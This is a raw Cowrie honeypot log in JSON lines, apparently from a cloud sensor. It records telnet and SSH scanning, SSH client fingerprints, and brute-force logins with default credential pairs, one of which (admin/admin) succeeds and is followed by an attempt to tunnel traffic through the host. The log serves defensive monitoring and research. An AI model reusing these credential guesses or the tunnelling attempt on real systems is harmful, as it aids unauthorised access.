{"eventid":"cowrie.session.closed","duration":30.622508764266968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:44.436872Z","src_ip":"104.245.105.2","session":"521a1d0a99a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37630,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca406b41c1e","protocol":"telnet","message":"New connection: 206.189.32.23:37630 (10.17.0.5:23) [session: 1ca406b41c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:45.225281Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":59558,"dst_ip":"10.17.0.5","dst_port":22,"session":"a88553b75021","protocol":"ssh","message":"New connection: 190.108.60.10:59558 (10.17.0.5:22) [session: a88553b75021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:54.945083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:54.949823Z","src_ip":"190.108.60.10","session":"a88553b75021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:55.160006Z","src_ip":"190.108.60.10","session":"a88553b75021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"admin123","message":"login attempt [git/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:55.993043Z","src_ip":"190.108.60.10","session":"a88553b75021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:57.193622Z","src_ip":"190.108.60.10","session":"a88553b75021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00158953666687,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:57.654266Z","src_ip":"206.189.32.23","session":"3a12e490666d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60688,"dst_ip":"10.17.0.5","dst_port":23,"session":"352e5d30e96d","protocol":"telnet","message":"New connection: 188.208.141.113:60688 (10.17.0.5:23) [session: 352e5d30e96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:37:58.180208Z"}
{"eventid":"cowrie.session.closed","duration":31.178158044815063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:01.069262Z","src_ip":"206.189.32.23","session":"66d84943c966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57916,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c7a75e3357","protocol":"telnet","message":"New connection: 206.189.32.23:57916 (10.17.0.5:23) [session: c7c7a75e3357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:02.858133Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36568,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3a7b4857cc8","protocol":"telnet","message":"New connection: 206.189.32.23:36568 (10.17.0.5:23) [session: b3a7b4857cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:07.268070Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43968,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ccb8e7130d9","protocol":"telnet","message":"New connection: 104.245.105.2:43968 (10.17.0.5:23) [session: 9ccb8e7130d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:09.276617Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42692,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab51a696883","protocol":"telnet","message":"New connection: 206.189.32.23:42692 (10.17.0.5:23) [session: 2ab51a696883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:16.010224Z"}
{"eventid":"cowrie.session.closed","duration":46.35499024391174,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:16.252665Z","src_ip":"206.189.32.23","session":"641d23cc8c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48784,"dst_ip":"10.17.0.5","dst_port":23,"session":"fada7d4a64f0","protocol":"telnet","message":"New connection: 206.189.32.23:48784 (10.17.0.5:23) [session: fada7d4a64f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:22.898681Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44104,"dst_ip":"10.17.0.5","dst_port":23,"session":"092d782b6510","protocol":"telnet","message":"New connection: 104.245.105.2:44104 (10.17.0.5:23) [session: 092d782b6510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:27.660707Z"}
{"eventid":"cowrie.session.closed","duration":42.64281749725342,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:27.867990Z","src_ip":"206.189.32.23","session":"1ca406b41c1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50708,"dst_ip":"10.17.0.5","dst_port":23,"session":"712b041bc94a","protocol":"telnet","message":"New connection: 104.245.105.2:50708 (10.17.0.5:23) [session: 712b041bc94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:34.384752Z"}
{"eventid":"cowrie.session.closed","duration":37.95990014076233,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:36.139980Z","src_ip":"188.208.141.113","session":"352e5d30e96d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4261360168457,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:39.694091Z","src_ip":"206.189.32.23","session":"b3a7b4857cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.469595432281494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:40.746123Z","src_ip":"104.245.105.2","session":"9ccb8e7130d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50560,"dst_ip":"10.17.0.5","dst_port":23,"session":"7982ba5aace1","protocol":"telnet","message":"New connection: 104.245.105.2:50560 (10.17.0.5:23) [session: 7982ba5aace1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:42.515032Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43588,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc3ef16b1e9e","protocol":"telnet","message":"New connection: 206.189.32.23:43588 (10.17.0.5:23) [session: cc3ef16b1e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:50.781341Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57512,"dst_ip":"10.17.0.5","dst_port":23,"session":"d76485eb65cf","protocol":"telnet","message":"New connection: 104.245.105.2:57512 (10.17.0.5:23) [session: d76485eb65cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:53.343682Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53856,"dst_ip":"10.17.0.5","dst_port":23,"session":"9434e5e764b6","protocol":"telnet","message":"New connection: 188.208.141.113:53856 (10.17.0.5:23) [session: 9434e5e764b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:55.524184Z"}
{"eventid":"cowrie.session.closed","duration":42.15296483039856,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:58.163055Z","src_ip":"206.189.32.23","session":"2ab51a696883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316715717315674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:38:58.977355Z","src_ip":"104.245.105.2","session":"092d782b6510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.936941623687744,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:06.835533Z","src_ip":"206.189.32.23","session":"fada7d4a64f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39716,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5fddb331d1e","protocol":"telnet","message":"New connection: 162.55.233.176:39716 (159.203.135.109:23) [session: a5fddb331d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:08.811730Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57598,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a105be57a3","protocol":"telnet","message":"New connection: 206.189.32.23:57598 (10.17.0.5:23) [session: 39a105be57a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:08.858478Z"}
{"eventid":"cowrie.session.closed","duration":31.174931526184082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:13.689837Z","src_ip":"104.245.105.2","session":"7982ba5aace1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34908,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da2ebdef2f5","protocol":"telnet","message":"New connection: 206.189.32.23:34908 (10.17.0.5:23) [session: 4da2ebdef2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:14.228761Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46560,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d25a17202e4","protocol":"telnet","message":"New connection: 104.245.105.2:46560 (10.17.0.5:23) [session: 6d25a17202e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:15.597282Z"}
{"eventid":"cowrie.session.closed","duration":41.44980454444885,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:15.834411Z","src_ip":"104.245.105.2","session":"712b041bc94a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46566,"dst_ip":"10.17.0.5","dst_port":23,"session":"88924a1f1033","protocol":"telnet","message":"New connection: 104.245.105.2:46566 (10.17.0.5:23) [session: 88924a1f1033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:17.989665Z"}
{"eventid":"cowrie.session.closed","duration":31.257953882217407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:24.601389Z","src_ip":"104.245.105.2","session":"d76485eb65cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52042,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ab491c8bad9","protocol":"telnet","message":"New connection: 104.245.105.2:52042 (10.17.0.5:23) [session: 7ab491c8bad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:25.087866Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":48752,"dst_ip":"10.17.0.5","dst_port":22,"session":"a63fb4fb3e96","protocol":"ssh","message":"New connection: 190.108.60.10:48752 (10.17.0.5:22) [session: a63fb4fb3e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:27.539732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:27.544471Z","src_ip":"190.108.60.10","session":"a63fb4fb3e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:27.762690Z","src_ip":"190.108.60.10","session":"a63fb4fb3e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41488,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fda6a711067","protocol":"telnet","message":"New connection: 188.208.141.113:41488 (10.17.0.5:23) [session: 7fda6a711067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:28.322120Z"}
{"eventid":"cowrie.login.failed","username":"suser","password":"1234","message":"login attempt [suser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:28.623135Z","src_ip":"190.108.60.10","session":"a63fb4fb3e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:29.831347Z","src_ip":"190.108.60.10","session":"a63fb4fb3e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.158.146.217","src_port":33612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a70de1e21e40","protocol":"telnet","message":"New connection: 51.158.146.217:33612 (10.17.0.5:23) [session: a70de1e21e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.217805Z"}
{"eventid":"cowrie.session.closed","duration":40.546618700027466,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.327865Z","src_ip":"206.189.32.23","session":"cc3ef16b1e9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56242,"dst_ip":"10.17.0.5","dst_port":22,"session":"34f94202e01a","protocol":"ssh","message":"New connection: 45.148.10.121:56242 (10.17.0.5:22) [session: 34f94202e01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.332376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.336506Z","src_ip":"45.148.10.121","session":"34f94202e01a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.420584Z","src_ip":"45.148.10.121","session":"34f94202e01a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.668953Z","src_ip":"45.148.10.121","session":"34f94202e01a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.754159Z","session":"34f94202e01a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.838422Z","src_ip":"45.148.10.121","session":"34f94202e01a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.841984Z","src_ip":"45.148.10.121","session":"34f94202e01a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:31.927303Z","src_ip":"45.148.10.121","session":"34f94202e01a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56252,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a1338627970","protocol":"ssh","message":"New connection: 45.148.10.121:56252 (10.17.0.5:22) [session: 2a1338627970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.010969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.016517Z","src_ip":"45.148.10.121","session":"2a1338627970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.101697Z","src_ip":"45.148.10.121","session":"2a1338627970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.158.146.217","src_port":33628,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea72dd75e1f","protocol":"telnet","message":"New connection: 51.158.146.217:33628 (10.17.0.5:23) [session: 3ea72dd75e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.288421Z"}
